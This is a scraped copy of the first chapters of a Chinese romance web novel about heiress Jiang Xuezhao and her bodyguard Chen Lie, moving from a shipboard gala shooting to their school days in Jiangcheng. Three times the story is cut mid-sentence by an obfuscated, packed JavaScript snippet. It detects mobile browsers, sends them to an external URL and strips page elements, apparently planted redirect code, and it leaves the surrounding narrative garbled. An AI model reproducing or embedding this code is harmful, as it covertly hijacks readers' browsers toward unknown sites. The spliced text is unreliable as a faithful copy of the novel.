《日落野犬》 1. 楔子 宴会厅最惹人瞩目便是那盏水晶灯。 恁地浮夸,丝丝缕缕地绽开来,像一朵烟花在半空绽放。却不是瞬息的美,长长久久地挂在那里,把数千尺的宴会厅照得犹如白昼。 有懂行的人议论:“这灯太浮夸了,不知什么样的主家才能镇住场子。” 上流社会深谙这一套。无论宅子、衣饰、珠宝,都得是人镇得住物,而不能是物压人。 对面友人笑笑:“劳你操什么心,今天是滕家办宴会。” 是了,那个滕家。 在两岸三地,产业涉及建筑、船务、酒店,祖辈从宁波起家,移居港岛已四代有余。现在说起隐形富豪真正的豪门,圈内人都心照不宣地眨眨眼:“那个滕家。” 圈外人是不知道滕氏家族的。真正有本事的,怕就怕惹眼,藏还来不及,怎会去媒体搏版面。 今天来参加宴会的人,除了来这种等级宴会拔自己身份的,真正了解背后主家的,都是来走动的。 不是真要攀上什么关系,而是让滕家知道商圈里走动的还有这样一号人,就很好。 然而衣香鬓影,觥筹交错,过了会儿,管家出来通知:“先生太太临时有事去澳洲,今晚不能出席。” 在场无不失望。 管家又道:“先生太太嘱咐姜小姐代为主持局面。” 又有年轻男子低声问:“哪个姜小姐?” 对面声音压得更低:“怎么你不知道么?滕家二少的正牌女友,不对,应该说是未婚妻了。” “姜家?没听说过啊。” “真正的家族藏得深呢,听说大本营在毛里求斯,常年在欧洲那边走动。” “哦,世家联姻啊。”年轻男子顿时没了兴致:“名媛圈里就算再低调,那些小报记者恁地有本事,还不是一样能偷拍到。这里面有几个美女,我数都数的出。这个听都没听说过的姜小姐,肯定貌若无盐……” 还没说完,他堪堪止住话头。 仰面,往黑曜石色的盘旋楼梯望去。 有名纤薄的年轻女子正款款步过阶梯。 她穿白,不是那种单纯到无一物的白,而是月光一般的神迷,泛一点银灰的珠光。一头黑发整齐地绾在脑后,露出天鹅般修长的脖颈,颈后一颗小小浅棕的痣,让她冷傲中透出些许妩媚。 一时间,数千尺的宴会厅陷入寂然。几百人无人组织却无比统一的,静候她下楼。 看着她,有素养的人会想起“别是人间冰雪魂,肌肤绰约清如玉”这样的诗。 再没文化点的如刚才的年轻男子,脑子里就四个字:冰雪女王。 他呆呆望着她下凡,啊不,下楼,嘴巴张成半个“O”字形。 大概他神色太愣怔,她瞧见他了,浅浅地展颜一笑。 也许宴会厅里有人倒吸了口凉气,也许只是流淌的风。 原来冷美人笑起来是这样的。 春水初生,春林初盛。那样明丽的反差,太过动人心魄。 再没人诟病那盏水晶灯了。因为她一露面,所有盛大到浮夸的光线都赶来为她添彩。光斑凝在她淡色的唇釉上,她本人却不戴任何首饰,只有绾起那头长发的,是一支小小的水晶簪。 是一簇紫花地丁的形状,就是开在乡野的那种小野花。《本草纲目》说它“平地生者起茎,沟壑边生者起蔓”,生命力十分顽强。 不知设计师如何巧思选了这样野花的形状,又用净度极高的碎钻一颗颗镶上去。极致对比下,显得这枚簪子特别极了。 又有知情者耳语:“是滕家二少花千万拍来给她的。” 她迤迤然走下楼梯来,浅笑嫣然一下,用粤语对宾客致欢迎词。讲了一半停下来,换成英语:“抱歉,我的粤语实在不太流利。” 她有一口流畅漂亮的女王音,讲起来英文来无懈可击。配合她瓷器一般冷感的长相,完美得不似真人。 友人撞撞刚才那年轻男子的胳膊肘:“怎么样,一看就是豪门出身吧?” 她致完辞,人群松动起来。然而就在她倾身去取酒的时候,一个打领结的小胖子不知从哪里钻出来,笑闹着,堪堪撞到她身上。 “小心。” 一道沉声。也许其他人是这时才注意到,她身后跟着名保镖。 这是保镖的天职,尽最大可能不显山不露水。他也确实不惹人瞩目,身材并不多健状,只是一种恰到好处的流畅紧致,一身低调的黑西装,寸头。 非要视线停在他脸上的时候,才发现他瞳仁格外的黑,沉默的时候习惯唇角紧抿。 警惕,锋锐,像一只蛰伏的豹。 并且,有种反主流奶油小生的帅。 她那头黑发太浓,一把簪子本就绾不牢。被小男孩一撞,簪子叮当掉落在地,她的一头长发散落开来。 小男孩妈妈吓坏了,忙赶过来:“唔好意思,滕……” 她说到这里犹豫了。 豪门规矩严,还没正式订婚就叫“滕少夫人”,会不会不尊重。 好在对方大气笑笑:“我姓姜,姜雪照。” “唔好意思,唔好意思,姜小姐。”年轻贵妇不敢多留,拉着儿子遁了。 姜雪照垂眸看一眼地上的簪子,声线如冷山淬月,一种巨人于千里之外的好听:“捡起来。” 她身后的男人没有动作。 她挑了挑眉,唇角浮出一点笑意:“陈列,捡起来。” 陈列的眉很浅地蹙了下,也就那么半秒的事。 然后恢复那种永远冷然的神色:“我是保镖,不是你的狗。” 就在说话当下,“咻”地一声。 有人疑惑:“红酒洒了么?” 直到刚好路过姜雪照身前的一名侍应生倒地,血从肩膀汩汩地流出来。其实不像红酒,红酒太清亮,没有那样的暗和粘稠。 周围的人这才“啊”地尖叫四散开来—— 有人开枪,并且装了消音器。 整个宴会厅里最冷静的反而是他和她——陈列摁着姜雪照蹲下,她不是第一次经历这种事了,脸上表情出奇的镇定,只是垂着漂亮的双眸。 他顺着她视线看一眼。 她在看先前掉的那枚簪子。 他一把捡起簪子的同时摁着她后颈掩她逃走,宽大的手掌展开来,护住她最脆弱的颈项。 她早已提前脱掉了高跟鞋,随他遁走的快而毫无声息。 他一路护着她来到“安全屋”——作为保镖,他每每随行出席公开活动都会提前选定一处“安全屋”,亲自对这里进行事无巨细的检查,一旦出事就避走过来。 通常是洗手间,因为谁也不知要在这里躲多久,基本的生理需求比较好解决。 洗手间非常的宽大,外间阔绰的大理石台面上,摆着吹风漱口水和棉签,焚香是一种很清雅的沙巴茉莉香。 她赤着脚站在大理石地板上,高跟鞋放在一边,倚住身后的台面。 脸上的表情并不紧张,只是愣神。 只是在等着这场事端过去。 陈列守在门口,压低声通过耳麦跟外场的安保联系。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398592|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他没那么蠢去追开枪的人,他的唯一职责是保护她安全。 直到外场通报开枪的人抓住了。 他一直背对着姜雪照,这时转过身:“可以走了。” 姜雪照点点头。 一头及腰的长发披在肩头,是一种凌乱的漂亮。他看惯了一丝不乱的她,觉得有点违和,这才想起她的簪子还在他口袋里。 沉默地掏出来递她。 她垂眸看了,却并不接,浅笑一笑,反而把他的耳麦扯掉,转身对着盥洗镜,用手指梳理了下自己的长发,在脑后绾个髻:“帮我把簪子插上。” 他不动。 她又一笑,双手托着脑后的发髻:“快点,我不能松手,一松就散了。” 他无言地上前,把簪子插进她浓如云雾的发间。 这期间,她一直在盥洗镜里看着他。 陈列一抬眸,才发现她左颊下半张面孔,溅上了刚刚侍应生的一滴血。很小,暗暗的红,缀在她脸上,像某种奇异的妆点,一颗暗红宝石做成的小痣。 这让她显得既旖旎,又冷漠。 他通常不怎么看她,因着这滴血多看了她一眼。 姜雪照敏锐地捕捉到,开口叫他:“陈列。” “我说了,别这么叫我。” “那好,陈先生。” “你对今晚的事,好像一点都不意外。” 姜雪照一挑唇:“滕家因一笔生意跟泰国人有龃龉,今晚的宴会又在公海的邮轮上。你以为滕太太那么好心真叫我来主持局面?她早知道今晚的事,不过是试一试我这个人堪不堪重用。”她挑唇的弧度含了些嘲讽:“滕家的门槛那么高,哪是那么好踏进的。” 他沉默看她一眼:“你不怕死?” 这时,已有安保在外做进一步善后搜索的脚步声,夹杂着隐约的人声。 “哪里会死。”她的笑又变得轻曼了些:“真想闹出人命就不会选这样人多的场合了,那名侍应生也只是受伤。” “我不怕。”她抚了抚天鹅般的后颈:“陈列,我只是,有点累。” “我说了别这么叫我。” “我叫了,又怎样?” 他向她伸出一只手,她还在笑。 为什么她总在挑衅他。 又为什么她清晰知道他的软肋在哪里。 他终于伸手箍住她脖颈,纤细的,脆弱的,在刚才的一片混乱中、他展开手掌护过的。 微微拎起她抵在大理石墙砖上,逼着她仰头。 她皮肤太薄,他还没怎么加力,不过手指箍住她美人筋,她白皙的面庞上就浮一层瑰丽的血色:“我知道你恨我,但你是不是该叫我一声,少夫人?” 他的神情沉郁下来:“你以为你是谁?真是什么豪门千金?” 她的发髻蹭着墙,刚刚插好的簪子又掉下来,碎钻镶得结实,没掉,发出熠熠的光泽。 “阿堇,姜阿堇。”他沉哑的声线提醒她是谁。 初遇她的时候,她不过是穿一条劣质绸缎裙的孤女,独自住在南方小城河畔一艘废弃的破船上。说是河,也许说是臭水沟更贴切,漫地都是塑料袋和垃圾,结飘萍的水面发出腐朽气息。 她说:“我叫阿堇,姜阿堇。” 她赤着一双脚站在船头。船边的泥地上,开着一丛丛紫花地丁。那种生命力格外顽强的小野花,属堇菜科。 他还可以在避人的角落,叫她一声“阿堇”。可再也无法说出那句,“跟我回家”。 那艘飘飘摇摇的破船,早就不在了。 2. 初见 七月的江城,热得没有道理。入了夜,气温又陡然掉下来。 陈列是将近午夜时分抵达江城的。 不为了别的,逃债么,总该做出避人耳目的样子。尽管这债跟他没有关系,是他爸进了赌博的销金窟,他妈早年开餐馆攒下的一点家底尽数赔了进去。家中只剩一个水泥空壳子,电视、音响、冰箱,能换钱的都被搬走了,只剩满地凌乱的线。 陈列到这种时候又觉得,他妈早早得病死了,也是好事,不用看这一地腌臜。 他不是没想过跟他爸脱离关系。十六岁那年,他比现在更瘦,少年削薄的身段,戳在警局门口,如戈壁滩上的一截枯枝,沉默抽着一根烟。 是的,他那年头就开始抽烟了。 年长的老警察叹口气:“没有跟家里人脱离关系的先例啊。回家去吧,好好读书。” 可是哪里能好好读书呢。他爸拍拍屁股一走了之,无数人涌上家门里来,红色油漆泼在生锈的铁门上,似淋漓刺目的鲜血。 他走投无路地去找舅舅,舅舅看一眼屋内,二婚的舅妈抱着新出生的小侄子。舅舅掩上门,压低声对他说:“我最后帮你一把,让你到江城去念书。” “走吧,走得越远越好。你爸这个窟窿,只怕谁也填不上。” 陈列便在高二这年的暑假,拿着舅舅给他的地址,辗转来了江城。 舅舅写地址时写得急,随便找了支笔,乱七八糟的字迹,落在撕开的烟壳上。 陈列按地址寻了过来,拉紧一瞬唇线。 这里没有楼,只有一条河。说是河并不贴切,它更接近于一滩死水,靠岸边的地方极浅,和各色的塑料袋、食品袋甚至byt泥泞成一团。 岸边拴着两条飘飘荡荡的旧船。 陈列沉默着走近,发现这船还和大部分的出租房一样,写着编号。其中一条的编号,正和他手里烟壳上的对上了。 他推开那咯吱作响的木门,灰尘一扑,他环视一眼,腐朽的木桌上,摆一盏蒙尘的应急灯。 从今以后,这里就是他的家了。 靠窗边窄窄一条木板,上面摆的铺盖不知多少年没晒过,棉絮压成薄薄一层。陈列躺上去,明显感到自己脊骨在木板上一磕。 他不甚在意,双手垫在脑后,肺腔里吐出一口气来。 这已经足够好了。对他而言,只要没有围堵在院门口的讨债人、鲜红刺目的油漆、散发着斑驳锈味被拍在桌上的刀,就已经足够好。 这时外面有一阵脚步。 陈列警惕地往窗外看了眼,目光却一顿。 那竟是一个女孩,十七八岁年纪,穿一条艳俗得过分的红裙,似灼灼燃烧的火,隔这么远看不清她五官,只觉得两条腿又白又直,白花花的似反射着雪光。 她身后跟着两个青年,步伐摇摇晃晃的,似是醉酒,缠着女孩在说些什么。 等女孩走得近了,五官仍是看不清。 因为她脸上妆浓,浓得过分,这样的浓妆下无论一个人长什么样子,都会被妆容吃掉。她带妆应该很久了,浓艳的眼妆在眼下花开,一团糟乱。 只是月光蓦地一闪,陈列无端生出一种感觉——在这条臭水河的波光映照下,女孩一张雪白的面孔,似如茉莉清透。 那两个青年还黏答答缠在她身后,她似是在笑,轻声细语地说着些什么,其中一个笑嘻嘻就要来捉她的胳膊。 陈列枕着双臂,抻了抻自己的脚。 他不想去管。无论是这女孩与两个青年有什么情感瓜葛,抑或是单纯被骚扰,他都不想管。 他无暇去管女孩如何脱身。他的生活足够压得他喘不过气了,他觉得很累,躺在这窄窄的木板上甚至不想把眼神挪开去,就那样直视着女孩和两个青年。 于是他看到,上一秒笑得轻曼的女孩,下一秒从河滩上捡起一只脏污的啤酒瓶。 她染笑的表情甚至没改换,手里的酒瓶就已砸在其中一个青年的头上。 青年怪叫着捂住自己的头,殷红的血液从他指间汩汩地涌出来,一如女孩那条红裙的颜色。而女孩脸上的笑意都没褪一褪,扔开酒瓶,往另一条船的方向走去。 两个青年没再缠上来。 其实人都很聪明。知道什么样的人是故作声势,什么样的人是真正会发狠。 女孩带着花掉的眼妆和轻曼的笑意,路过点着灯的陈列的船舱,往里看了眼。 陈列来不及移开视线,与女孩视线对了个正着。 明明眼妆花得那样厉害,不知怎地,陈列只觉得女孩双瞳恁地干净。他倏然移开视线,再移回来的时候,窗口只余一片空荡荡,女孩深棕的双瞳映在陈列的脑子里,似有茉莉的幽香传来。 再接着,听到清浅的水波声。好似女孩上了相邻的那条船。 陈列没有再想,枕着手臂沉沉睡了过去。 - 两个月暑假,陈列再没见过那个女孩。 趁着讨债人还没知道他的行踪,他去了江城一个建筑工地打工。每天扛沙包、和水泥,和那些年纪比他大许多的男人一起,光着膀子晒得黝黑,时而接他们散过来的烟,时而自己散烟给他们。 他很少说话,休息时间,总是沉默站在一旁抽烟。 不过他是那样的长相,越是黝黑,越凸显出他面部凌厉的线条来。薄的单眼皮,挺立的鼻梁,唇线也薄,下颌线条格外流畅,左眼尾一点浅浅的疤,是讨债人砸碎了杯子、玻璃碎屑差点溅进眼睛里时留下的。 一切帅得浑然天成。 有工友跟他开玩笑:“小陈,顶这么副好皮囊,找媳妇没有?” 没有人瞧出他是一个开学即要升高三的学生。他的沉默寡言,孑孓独行,总让他看起来比实际年龄大一些。 直到开学。 开学这天,杜珉珉穿着条白色的小短裙,蹬蹬蹬跑进教室里来——这条网球裙是阿姨去法国时给她买的,明天正式开学后便明文要求穿校服,再没穿的机会了。 “姜堇姜堇。”她这样喊着:“你快出去看看呀——她们都围那儿看呢!” 被她唤作“姜堇”的女孩,正坐在课桌边收拾新发的课本。她倒是已规规矩矩穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398593|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了校服,洁白的,滚一圈蓝边,散发着洗衣液洁净的气息。 她个子高,因而显得身形格外单薄些。肩膀窄窄的,束马尾,一张雪白面孔是南方的秀气,浅棕色瞳孔泛着澄澈的光,浅浅笑起来的时候,沐浴在窗口投入的阳光下,整个人白皙得近乎通透。 她笑问:“看什么?” “看新来的转校生呀——!”杜珉珉一个急刹车,双肘撑在课桌上,塌着腰跟姜堇说话:“十一班的,帅得太超过!” “十一班的?”姜堇问。 “嗯哼。”杜珉珉点头,又强调一遍:“帅得太超过!” 之所以有此一问,是因为一中作为江城的公立高中,什么样的学生都得招。尖子生集中在姜堇她们所在的一班,至于后进生、或者走关系进来的特招生,大多集中在十一班。 两个班素来没交集,却因一个新来的转校生而打破。 杜珉珉的小腿一翘一翘:“李黎王梦雅都在那里,你不去看看呀?” 姜堇问:“你的暑假作业做完没有?” 杜珉珉呆滞一秒,惨叫一声:“啊对对对!我暑假去新疆玩了一个月,快把你的借我——” 姜堇笑着站起来:“先陪我去领课本,就借你。” 姜堇是英语课代表,其他课本都发了,英语课本等着她去办公室领。 杜珉珉挽着她手臂走出教室。 英语老师是个头发微卷的年轻时髦女人,翘着唇角问:“没叫个男生来帮忙啊?” 姜堇温和答道:“我们自己搬两趟,够了。” 两人搬着课本往回走,抄近路的话,会路过十一班的教室。 夏末的阳光一闪,姜堇的视线循着走廊方向望去。 杜珉珉兴奋压低的声音在她耳畔响起:“帅吧帅吧?” 姜堇脑子里无端冒出的一句话是:从没想过有人理寸头会那样好看。 他的确帅,但他惹姜堇多看一眼的原因是,他和其他同龄的男生太不一样。没有花里胡哨的发型,利落的寸头,配流畅的下颌线,一双墨色瞳仁在阳光的反射下一闪,黑得惊人。 一堆抓紧最后机会穿私服的学生里,只有他和姜堇一样,穿着校服。 拉链拉开来,前襟敞着,校服外套的袖子撸到手肘处,露出线条遒劲的小臂。 男生笑嚷打闹着什么,唯他双手插在校服口袋里,沉默,嘴唇的线条紧抿,好似望着走廊外枝头跳跃的一只鸟。 不知是不是察觉到杜珉珉过分热切的视线,他朝这边看过来。 杜珉珉“啊”的一声抬手掩在眼睫前,于是他的视线在姜堇脸上顿了顿。 姜堇抱着课本的手指紧了紧。 他所拥有的,是一种与年龄极不相符的、极之淡漠的眼神,好似把一切都没看进眼里去。 有男生发现他看到了姜堇,用一种极为不恭的语调说:“你可别看上她啊。除了一张脸蛋长得好,无趣极了,一切男生都不搭理,老师的走狗。” 陈列淡淡收回视线。 “我不会看上任何人。”他说。 3. 表白 这学期凑巧,开学第一天便是周一。 一中为高三生删减了大部分浪费时间的活动,但每周一早上升旗及国旗下讲话被保留了下来。 姜堇作为学生代表上台发言,因为她是高二期末考试的年级第一。 国旗下讲话对姜堇来说不陌生,她稿子写得漂亮,但无外乎都是那些套话。她站在冉冉初升的国旗下演讲,在翠碧操场上排成列的学生们,讲小话的、晃脚的、抠指甲的。 姜堇渐渐就有些走神,稿子背得熟、像是生理惯性,神思却跟上一只在操场边啁啾的麻雀。 陈列便是在这时走进操场来的。姜堇在一片炽白晃眼的阳光里抬头。 陈列背一只单肩包,穿校服,仍和昨天一样,前襟随意敞着,校服袖子撸到手肘处。 分明迟到,脸上却有种对一切都不在意的淡漠神色,十一班班主任对开学第一天就有学生迟到这事,显然是不满意的,抱着手臂在操场边对他说些什么。 他也不顶嘴,站在树荫下,叶片斑驳的光影晃动在他脸上。 姜堇的视线被那光影一晃,就落在他脸上。他单手抄在校服口袋里,察觉到姜堇的视线,眼神落过去。 旗杆边的女孩因高挑显得格外单薄,笼在大大的校服里仍是薄薄一片。 昨天人人穿私服,她洁净的校服显得出挑。现在人人都穿校服,出挑的就变成她那张脸。 白皙,清透,睫毛长得在眼下投出一片阴影,纤细的鼻头一点点翘。 陈列也不知为何隔着这么远,他好似看着她小巧的鼻头缀着一颗小小浅棕的痣。 他的眼神里仍没什么内容,平淡地移开去。姜堇也平常地挪开视线,又去追寻操场边跳跃的麻雀。 直到她完成了演讲、下台走回一班的队列。杜珉珉站在她身后,“pzi-pzi”两声,姜堇微一回头,她便弯了笑眼:“帅不帅?” 姜堇淡淡一笑。 “你呀!”杜珉珉有些着恼:“对帅哥从来不感兴趣。” 这不超过一秒的对视,便是两人开学以来唯一的交集。 再就是大约一周后,课间操收操的时候,陈列被堵在学生攘攘的台阶上,仰头,远远看到走廊里一张雪色面孔,白皙得似在反射阳光,身边围着一大群人。 “嚯。”陈列身旁男生不屑地嘲一声:“还有这么不怕死的。” 陈列这才注意到,姜堇对面站的,是一个身材高大的男生。 男生背对着陈列,所以陈列看不到他的神色。只能看到姜堇平静地望着他,手里还捏着本口袋英语词典,清瘦的腕子垂在蓝色校裤上。 “你等着看好戏吧。”陈列身旁的男生用幸灾乐祸的语气说。 陈列看不清那男生说了些什么,只见他背影顿滞了一下,从校服口袋里掏出一只信封递给姜堇。信封淡淡的蓝,围在一旁的学生有起哄的,有悄悄拿手机拍照的,有捂着嘴窃窃私语的。 姜堇接过了信封,抬头,径直往前。 所有人循着她走的方向看过去。 教导主任背手站在那里,姜堇走到他面前,把淡蓝信封递上,轻声细语说了几句什么。 陈列身旁的男生很不屑嗤一声:“老师的走狗。” 伸手在陈列肩膀上一拍:“走吧别看了。” 陈列本来也没想看。前方拥堵的人群疏通了,他也就跟着人潮顺势往十一班教室走去。 另一边杜珉珉蹿上前来挽住姜堇手臂,小声说:“你干嘛呀。” 姜堇笑道:“这样比较方便。” “可是,那是江涵远呀。”杜珉珉说:“校草诶,你不知道多少低年级学妹为他疯狂的。” 姜堇只是笑一笑。 另一边,十一班的教室里。刚刚跟在陈列身旁说话的男生叫叶炳崐,此时正坐在课桌上,一只脚抬起抵着前一张课桌。 他正掰着手指在数:“这都是第几个了?只要有人表白,她就告老师、告教导主任,还有一次直接丢进校长信箱,他妈的。” 这类谩骂对一个女生来说实在算不得尊重。 陈列坐在最后一排,抱着双臂,没什么神色地望着窗外。 叶炳崐在跟其他人聊:“也不知江涵远发什么疯。她那张脸蛋长得也就还可以,值得这么前仆后继的吗?袁臻臻、毛琪雅,哪个不长得比她好看?” “看她一张脸那么清寡,在床上也一定跟条死鱼一样。” 旁边疯跑的男生把陈列的课本扫掉在地上,陈列勾腰捡起。 傍晚下课,陈列回到建筑工地,把一本课本也没塞的单肩包往地上一扔,操起水瓶,咕咚咚仰头灌下去。 教室里,十一班班主任在问叶炳崐:“陈列人呢?” 叶炳崐用一只椅脚支在地上、其他三只椅脚悬空,一晃一晃:“我哪知道?” 班主任卷起课本往他头上一敲:“他不就坐你后面?” 叶炳崐就势一躲:“脚不是长在他自己身上?” 班主任离开后,叶炳崐踹一脚隔着走廊的男生:“这小子有点拽,对吧?根本不怎么搭理人,成天挂着张脸。” 建筑工地的活还没完,陈列这个时候说走,根本拿不到钱。 校服早已在来工地前团一团塞进单肩包里,此时T恤也脱了,露出流畅紧致的肌肉。工地上干粗活很容易出汗,肌肉线条在月光下泛着光。 等一天的活结束,陈列往锈迹斑斑的高低钢架床上一倒,手臂打横挡在眼前。 睡去只需一秒。 累到什么都没闲暇去想,陈列反倒喜欢这种生活。至少他不会梦到那些血一样的油漆、被拍在桌上生锈的刀。 馒头、牛奶,一切的生活费靠他自己赚。 又过了一周,陈列肩上勾着单肩包走在走廊。 早上有个急活,拌水泥,他不出所料地迟到了。他也不甚在意,学校的注意力全集中在能冲清北的尖子班、对十一班的考勤抓得并不严,除了面上无光的班主任时不时跟他们跳脚。 走廊里一个女生拦住陈列的去路。 陈列头也没抬,方向一转,只想绕开她。 没想到女生又一次笑嘻嘻堵在他去路上。 陈列微一挑眉,这才意识到女生是找他。 他指指自己鼻尖,又一个挑眉。 女生挑着唇角点头,笑问:“你知道我是谁吧?” 九月入了秋,女生仍穿着夏季校服,裙子明显改短过,露出又细又白的腿,罩一件大了个尺码的秋季校服外套,显出一种韩范儿。 陈列露出一种真实的迷茫。 女生噎了下,忍下这小小的不快,仍是笑着跟陈列说:“我叫袁臻臻。” 对着陈列伸出白皙纤细的手指。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398594|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈列垂眸看了眼,没握。袁臻臻,他觉得这名字有些耳熟,开学这段时间他太累了,就连同班同学的脸和名字都没记住几个。 女生也不着恼,面对这种情况很有经验似的,手腕顺势一转,那只本来想跟陈列握一握的手搭在陈列小臂上捏了捏:“你常去健身房?” 陈列眼睫耷着,又看了眼那纤白的手指。 袁臻臻说:“别紧张,我只是想跟你交个朋友。” 陈列想起来了。 袁臻臻,陈列之所以对这个名字有印象,是因为叶炳崐他们天天在班里念叨。五班的艺术生,学播音主持的,叶炳崐他们心里当之无愧的“校花”。 眼前女生一张小巧的猫儿脸,的确有种同龄女生所不具备的姣妍,像朵早开的玫瑰。 这时,姜堇和杜珉珉抱着叠小考的试卷从走廊另一头走来。 杜珉珉小声跟姜堇惊叹:“哇喔!表白诶!我就知道袁臻臻是最猛的,年级里哪个帅得出挑的她没谈过?” 姜堇的眼神落在陈列脸上。 帅吗?很薄的单眼皮,唇线也薄,不习惯笑也不习惯说话似的,始终紧抿着,双手插在校服口袋里,对女生一只手搭在他小臂上好似没什么所谓。 陈列只是在心里淡嗤了声:健身房? 多可笑。 袁臻臻的声音也有种跟长相一般的姣妍,用叶炳崐他们的话说是“让人骨头发酥”。她在问陈列:“你叫‘陈列’对吧?是凛冽的‘冽’,还是热烈的‘烈’?” 姜堇本已把视线挪开去,这个问题让她对着陈列多看了眼。 刚巧陈列也循着走廊这边看过来。 穿着宽大并不凸显身材校服的女生,抱着小摞英语试卷,恬淡地走在窗边。一个个窗棱间秋日的阳光照进来,让她一张脸几乎是半透明的色调。 陈列忽然想:他听人议论过她很多次,却还不知道她的名字。 只听人叫她“老师的走狗”、或者“死鱼”。 他对着姜堇多看了眼,一双瞳黑漆漆的垂沉。 袁臻臻的手搭在陈列小臂上又问了一次:“说呀?到底是哪个‘lie’字。” 陈列径直往前走去。 袁臻臻一愣,继而才反应过来陈列是无视了她的搭讪,在身后对着陈列背影、又羞又恼地叫了声:“喂!” 陈列没有回头,勾着双肩包往前走去。 杜珉珉本在热切吃瓜,陈列一走过来她慌忙低头,盯着试卷上“doing”中间小蝌蚪一样的“i”字。 姜堇倒是和往常一样淡淡的,抱着试卷与陈列擦肩而过。有那么一瞬间,风从窗口灌入,撩起他敞开的校服前襟,扫在姜堇宽大的校服上。 两人并没有对视。 直到陈列走过以后,杜珉珉才像从泳池底下刚钻出来一般、喘出好大一口气:“你不紧张啊?” “什么?”姜堇问。 “就是跟陈列走那么近。”杜珉珉斟酌着道:“我总觉得他很……凶?好像也不是这么说的,就是,嗯,气场太强?感觉他都不怎么笑的。” “还好。”姜堇笑道。 杜珉珉白她一眼:“你是不是对这方面缺根弦啊?除了卷子你还对什么感兴趣?以后去出家好了。” “唉算了不跟你聊了。”杜珉珉放弃道:“反正你这样的,跟陈列也不会有什么交集的。” 4. 距离 姜堇背着书包走进教室时,早读课的铃还没打响。她看到班里女生三三俩俩聚在一处,没怎么放在心上,放下书包坐到自己课桌边,抬手束了下略有些毛躁的马尾。 李黎扭回头来,扬起一点声调问杜珉珉:“周日下午去不去排队?” 一班作为尖子班,升入高三以后,周日下午是唯一放假的时刻。 杜珉珉问:“多少钱呀?” 李黎:“官方发售价是一千四百多,出头一点。” 杜珉珉吐了下舌头:“还好还好,没超出我的心理预期。” 她问姜堇:“你去吗?” 姜堇问:“去哪?” 杜珉珉:“A牌发售了一双新球鞋,限量版,配色很好看的,周日下午一起去排队。” 学校对尖子班管得严,男女生之间的交集其实并不多,一双一个牌子的球鞋是心照不宣的默契,让异性之间平白多出个话题。 姜堇刚要摇头,李黎的语调已带上淡淡嘲意:“她怎么会跟我们一起。” 在她眼里姜堇是顶没意思的那种人。就没看她穿过私服,黑长直的头发也总是简单束一个马尾,清汤挂面的从不打扮。 杜珉珉挽住姜堇的手臂替她还嘴:“姜堇不一样。她很忙的,要考最好最好的大学。” 一中尖子班基本人均重本。可重本里面,也有参差差别。 晚自习下课,杜珉珉习惯性问姜堇:“走吗?” 姜堇笑道:“你先走吧。” “你也别太拼了。”杜珉珉背起书包叹口气,顺手在姜堇脸上揩了把油:“看这小脸瘦的。” 直到整间教室的人都走没了,姜堇才盖上水性笔,收拾了书包站起来。 夜晚的校园陷入一片沉寂,只有成排的路灯在脚边晕出浓琥珀色的一圈,像陈年的水洼。 姜堇走出校门,保安对她说:“学生快点,我要锁门了。” 随着电动拉缩铁闸“哧啦”一声,姜堇抬眸,看着校门前最后一辆宾利嗖地开走了。 一中是全市最好的公立高中,能进尖子班一班的,除了成绩过人,家境往往也都不差,从小找名师补习,才能赢在起跑线上。 所以每当下晚自习,校门口齐刷刷停一排豪车,堪称一道风景线。 最后一辆宾利牵着路灯光影晃了两晃,姜堇这才独自慢慢往前走去。 晚班的公交擦过她身边。 她背着书包慢慢走着,单薄的影子投射在地上,只有马尾在影子轮廓外轻轻摆荡。直到拐上一条小路,路灯变得疏落,更深的黑暗笼罩下来。 姜堇紧了紧背上的书包带,忽然地、没有任何征兆地开始奔跑。 跑过路边尚且茂密的灌木丛、跑过摇摇晃晃的路灯、跑过偶尔露出一点红砖石的围墙。 一个单薄的少女是不应跑得那样快的。她那样拼命的跑法,像是没有明天、要把自己全身连同整个魂灵的力气都搭进去。 直到路越来越偏,她跑到那条臭水河边,她才气喘吁吁地停下脚步。 谙熟地登上甲板,身体无限适应船身摆荡的韵律似的,蹬掉脚上的白色帆布鞋换上甲板放着的拖鞋,头一低,马尾跟着一晃,钻进船舱里去了。 - 周日中午放学,杜珉珉问姜堇:“你真不跟我们一起去买鞋啊?” 姜堇笑答:“下次吧。” 李黎拎着书包过来勾杜珉珉的肩,鼻腔里发出很轻的嗤音。像是在说:哪有下次。 杜珉珉用胳膊肘拐了李黎一下,跟姜堇说:“那我先走了噢。” 这时学委走过来:“英语训练营的钱还有谁没交?转我一下。” “哦对。”杜珉珉立马掏出手机笑嘻嘻地转账:“差点忘了,多少来着?” “三千九百八。”学委又问:“姜堇,你的呢?” 